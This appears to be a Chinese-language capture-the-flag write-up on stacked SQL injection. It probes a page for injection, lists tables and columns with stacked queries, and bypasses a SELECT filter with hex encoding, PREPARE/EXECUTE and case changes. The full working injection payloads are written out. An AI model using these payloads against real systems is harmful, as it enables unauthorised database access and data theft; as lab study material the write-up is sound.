堆叠注入、select绕过

堆叠注入、select绕过

tao

2025-07-22 发布25 浏览 · 0 点赞 · 0 收藏

判断是否是字符型注入
1'
file-20250516142422553.png
1'--+
正常回显
1‘ and 1=1--+ 回显
1’ and 1=2--+报错
猜测字符型注入
1' order by 2 回显

1' order by 3
file-20250516152102048.png
1' union select 1,2,3
file-20250516152106108.png
select被过滤了
尝试堆叠注入

1';show tables;--+
file-20250516152109036.png
1';show columns from `1919810931114514`;--+
屏幕截图 2025-05-16 151745.png
==关于在这里使用 而不是 ’ 的一些解释:== ==两者在linux下和windows下不同,linux下不区分,windows下区分。== ==单引号 ’ 或双引号主要用于 字符串的引用符号== ==反勾号 数据库、表、索引、列和别名用的是引用符是反勾号==
==有MYSQL保留字作为字段的,必须加上反引号来区分!!!==
==如果是数值,请不要使用引号==
这里在‘1919810931114514’表中找到了关于flag的字段名,现在需要使用select查询flag
尝试绕过select

十六进制编码

1.将select *from 1919810931114514;十六进制编码得到
73656c656374202a66726f6d206031393139383130393331313134353134603b
2.设置一个变量接收这个字符串,在字符串前加上0x识别为十六进制编码
set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b
3.prepare execsql form @a
prepare…from方法将执行后的编码变换成字符串格式
准备执行execsql方法来自a变量的值,from @a代表操作来源是@a
4.execute execsql;
execute方法调用并执行execsql方法
payload为

?inject=1';set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;#

屏幕截图 2025-05-16 154100.png
显示不能同时出现这两个字符串,直接大小写绕过即可
最终payload为

?inject=1';Set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;#

屏幕截图 2025-05-16 154226.png

请前往 登录/注册 即可发表您的看法…